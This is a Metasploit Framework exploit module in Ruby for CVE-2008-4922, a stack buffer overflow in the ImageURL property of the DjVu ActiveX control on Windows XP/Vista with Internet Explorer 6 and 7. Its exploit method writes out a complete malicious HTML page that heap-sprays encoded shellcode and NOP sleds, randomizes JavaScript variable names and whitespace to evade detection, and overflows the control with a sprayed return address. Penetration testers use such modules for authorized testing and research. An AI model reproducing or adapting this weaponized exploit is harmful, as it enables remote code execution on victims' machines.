##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an
				overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)
				an attacker may be able to execute arbitrary code. This control is not marked safe
				for scripting, so choose your attack vector accordingly.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
			'References'     =>
				[
					[ 'CVE', '2008-4922' ],
					[ 'OSVDB', '49592' ],
					[ 'BID', '31987' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
				],
			'DisclosureDate' => 'Oct 30 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.',  'msf.html']),
			], self.class)
	end

	def exploit
		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret     = Rex::Text.uri_encode([target.ret].pack('L'))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|
<html>
<object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{nops}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.ImageURL = #{rand8};
</script>
</html>
|

		content = Rex::Text.randomize_space(content)

		print_status("Creating HTML file ...")

		file_create(content)
	end

end
